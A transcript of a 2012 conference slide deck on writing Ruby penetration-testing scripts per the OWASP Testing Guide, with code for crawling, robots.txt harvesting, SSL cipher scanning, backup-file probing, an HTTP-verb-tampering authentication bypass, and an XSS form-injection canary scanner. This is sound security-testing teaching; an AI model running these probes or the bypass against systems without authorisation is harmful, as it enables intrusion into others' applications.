Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Ruby for penetration tester

Ruby for penetration tester

This is the talk I gave in Italian RubyDay that was held in Milan, June 15 2012.

It was about the ruby code people can use to implement security tests as described in the Owasp Testing Guide.

Paolo Perego

June 15, 2012
Tweet

More Decks by Paolo Perego

Other Decks in Technology

Transcript

  1. Why ruby? 3 • API • networking • string manipulation

    • Net::HTTP • Coolness Friday, June 15, 12
  2. What to test? 5 class Developer # a bunch of

    great # methods here end class Developer include Person::Attacker # a plenty of great # methods here end Change your mindset. You’re an attacker now! Friday, June 15, 12
  3. RubyDay IT, Milan, 15 June 2012 What to test? 6

    class Developer include Person::Attacker # a plenty of great # methods here end Your app is a black box You must gather informations about it You don’t have credentials Ooh look... a web form... Friday, June 15, 12
  4. RubyDay IT, Milan, 15 June 2012 Leverage your attack surface

    7 “It’s my web application. I don’t even promote it. I have all the informations about it, what are you talking about?” Spot attack entrypoints Deep knowledge of the underlying technology Check transport layer security Check for the service door Friday, June 15, 12
  5. RubyDay IT, Milan, 15 June 2012 Leverage your attack surface

    8 robots.txt to discover to fingerprint Friday, June 15, 12
  6. RubyDay IT, Milan, 15 June 2012 Leverage your attack surface

    9 “Just a bunch of ruby loc away...” # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001) def self.robots(site, only_disallow=true) if (! site.start_with? 'http://') and (! site.start_with? 'https://') site = 'http://'+site end list = [] begin res=Net::HTTP.get_response(URI(site+'/robots.txt')) if (res.code != "200") return [] end res.body.split("\n").each do |line| if only_disallow if (line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end else if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end end end rescue return [] end list end $ gem install links $ links -r http://www.yourtarget.com Friday, June 15, 12
  7. event name 11 $ gem install anemone require 'anemone' Anemone.crawl("http://www.target.com/")

    do |anemone| anemone.on_every_page do |page| puts page.url end end • Search engines crawl your site they are polite, you can ask not to do it • Attackers crawl your site... they are not polite. Friday, June 15, 12
  8. RubyDay IT, Milan, 15 June 2012 Build a transparent proxy

    13 Sometimes you need to observe the requests your browser makes while using a website... async calls are so sweets... $ gem install casper $ casper Useful to check javascripts or urls called on going... while manual browsing your target site Friday, June 15, 12
  9. RubyDay IT, Milan, 15 June 2012 Build a transparent proxy

    14 module Casper class Proxy < WEBrick::HTTPProxyServer attr_reader :req_count attr_reader :hosts def initialize(config={}) @req_count = 0 @hosts=[] config[:Port] ||= 8080 config[:AccessLog] = [] config[:ProxyContentHandler] = Proc.new do |req, res| log_requests(req, res) end super(config) end Extending WEBRick private def log_requests(req, res) $stdout.puts "[#{Time.now}] #{req.request_line.chomp}\n" if @hosts.index(req.host).nil? @hosts << req.host end inc_req_count end def inc_req_count @req_count += 1 end Make the business Friday, June 15, 12
  10. RubyDay IT, Milan, 15 June 2012 enchant: brute force discovery

    16 Very intrusive attack... discover web directories using brute force. You’ll be busted $ gem install enchant $ enchant http://www.yourtarget.com Friday, June 15, 12
  11. RubyDay IT, Milan, 15 June 2012 Web Application fingerpring 18

    http://code.google.com/p/webapplicationfingerprinter/ Web servers answer to the same HTTP request in different way. HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT ETag: 32417-c4-3e5d8a83 Accept-Ranges: bytes Content-Length: 196 Connection: close Content-Type: text/HTML HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com/Default.htm Date: Fri, 01 Jan 1999 20:13: 52 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133 GET / HTTP/1.0 Friday, June 15, 12
  12. RubyDay IT, Milan, 15 June 2012 SSL Testing 19 $

    gem install ciphersurfer $ ciphersurfer www.gmail.com Evaluating secure communication with www.gmail.com:443 Overall evaluation : B (76.5) Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55) Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80) Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90) Evaluate an SSL connection for: • protocols the server supports • cipher length • certificate key length Friday, June 15, 12
  13. RubyDay IT, Milan, 15 June 2012 SSL Testing 20 def

    go context=OpenSSL::SSL::SSLContext.new(@proto) cipher_set = context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits| request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end end end protocol_version.each do |version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version}) s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits ciphers = ciphers | s.ok_ciphers end end Friday, June 15, 12
  14. RubyDay IT, Milan, 15 June 2012 Check for backup files

    22 Crawl the web site and append file extension to your GETs require 'anemone' require 'httpclient' h=HTTPClient.new() Anemone.crawl(ARGV[0]) do |anemone| anemone.on_every_page do |page| response = h.get(page.url) puts "Original: #{page.url}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".bak")) puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".old")) puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat("~")) puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}" end end Friday, June 15, 12
  15. RubyDay IT, Milan, 15 June 2012 Bypass authentication 24 A

    case study for a PHP 5.3 application using basic auth: with a tampered HTTP verb you can access to protected urls require 'net/http' class Dammi < Net::HTTPRequest METHOD="DAMMI" REQUEST_HAS_BODY = false RESPONSE_HAS_BODY = true end Create a custom HTTP verb http=Net::HTTP.new('www.mytarget.nonexistent', 80) r_a = http.request(Dammi.new("/backend/index.php")) puts r_a.body Make the request Friday, June 15, 12
  16. RubyDay IT, Milan, 15 June 2012 Cross site scripting 25

    Executing arbitrary javascript code at client site by submitting a crafted parameter on a web form Friday, June 15, 12
  17. RubyDay IT, Milan, 15 June 2012 Cross site scripting 26

    $ gem install cross $ cross http://www.yourtarget.com module Cross # Engine is the cross class using Mechanize to inject canary and check for # output class Engine include Singleton attr_reader :agent # Starts the engine def start @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")} @agent.user_agent_alias = 'Mac Safari' end def inject(url) found = false page = @agent.get(url) page.forms.each do |f| f.fields.each do |ff| ff.value = "<script>alert('cross canary');</script>" end pp = @agent.submit(f) scripts = pp.search("//script") scripts.each do |sc| if sc.children.text == "alert('cross canary');" found = true end end end found end end end Friday, June 15, 12
  18. RubyDay IT, Milan, 15 June 2012 Cross site scripting 27

    #!/usr/bin/env ruby $LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib')) require 'mechanize' require 'ap' require 'logger' require 'cross' host = Cross::Host.new(ARGV[0]) ap "cross " + Cross::Version.version[:string] + " (C) 2011 - thesp0nge" ap "target: " + host.host engine = Cross::Engine.instance engine.start if engine.inject(ARGV[0]) ap "Canary found in output page. Suspected XSS" end It doesn’t work with iframe apps :-( Friday, June 15, 12
  19. What we learnt 29 • Don’t trust your users •

    “Security through obscurity” is EVIL • Testing for security issues is a mandatory step before deploy • HTTPS won’t safe from XSS or SQL Injections • Friday, June 15, 12
  20. RubyDay IT, Milan, 15 June 2012 Some links before we

    leave 30 http://armoredcode.com/blog/categories/pentest-with-ruby/ https://github.com/thesp0nge/enchant https://github.com/thesp0nge/links https://github.com/thesp0nge/ciphersurfer http://ronin-ruby.github.com/ https://github.com/rapid7/metasploit-framework https://gist.github.com/2935464 (gist for anemone crawling demo) http://www.owasp.org https://github.com/thesp0nge/cross Friday, June 15, 12